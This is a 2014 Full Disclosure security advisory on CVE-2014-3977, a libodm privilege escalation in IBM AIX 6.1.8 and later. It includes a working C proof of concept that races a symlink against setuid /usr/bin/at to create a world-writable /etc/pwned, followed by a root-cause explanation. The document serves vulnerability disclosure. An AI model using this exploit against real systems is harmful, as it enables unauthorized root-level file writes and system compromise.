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Date: Wed, 11 Jun 2014 11:26:29 +0100
From: Portcullis Advisories <>
Subject: [FD] CVE-2014-3977 - Privilege Escalation in IBM AIX

Vulnerability title: Privilege Escalation in IBM AIX
CVE: CVE-2014-3977
Vendor: IBM
Product: AIX
Affected version: 6.1.8 and later
Fixed version: N/A
Reported by: Tim Brown


It has been identified that libodm allows privilege escalation via
arbitrary file writes with elevated privileges (utilising SetGID and
SetUID programs). The following will cause a new file /etc/pwned to be
created with permissions of rw-rw-rw:

#include <stdlib.h> #include <unistd.h> #include <stdio.h> int
pwnedflag; int main(int argc, char **argv) { pwnedflag = 0; umask(0); if
(fork()) { setenv("ODMERR", "1", 1); while (!pwnedflag) { if
(!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Race
won...\r\n"); unsetenv("ODMERR"); exit(EXIT_SUCCESS); }
system("/usr/bin/at"); } } else { while (!pwnedflag) {
symlink("/etc/pwned", "ODMTRACE0"); if (!access("/etc/pwned", F_OK)) {
pwnedflag = 1; printf("Race won...\r\n"); exit(EXIT_SUCCESS); }
unlink("ODMTRACE0"); } } }

It is believed this is a side affect of CVE-2012-2179 being incorrectly
resolved. As understood, prior to CVE-2012-2179 being fixed, libodm
would simply open ODMTRACE0 and write to it assuming ODMERR=1. It is
believed that the fix that was applied was to check for the presence of
ODMTRACE0 and increment until no file was found. It is necessary to win
a time of check, time of use race condition by creating a symlink from
the ODMTRACE0 in the current working directory to the target file under
hoping that the link will be added after the check has been made that
ODMTRACE0 does not exist.

Further details at:

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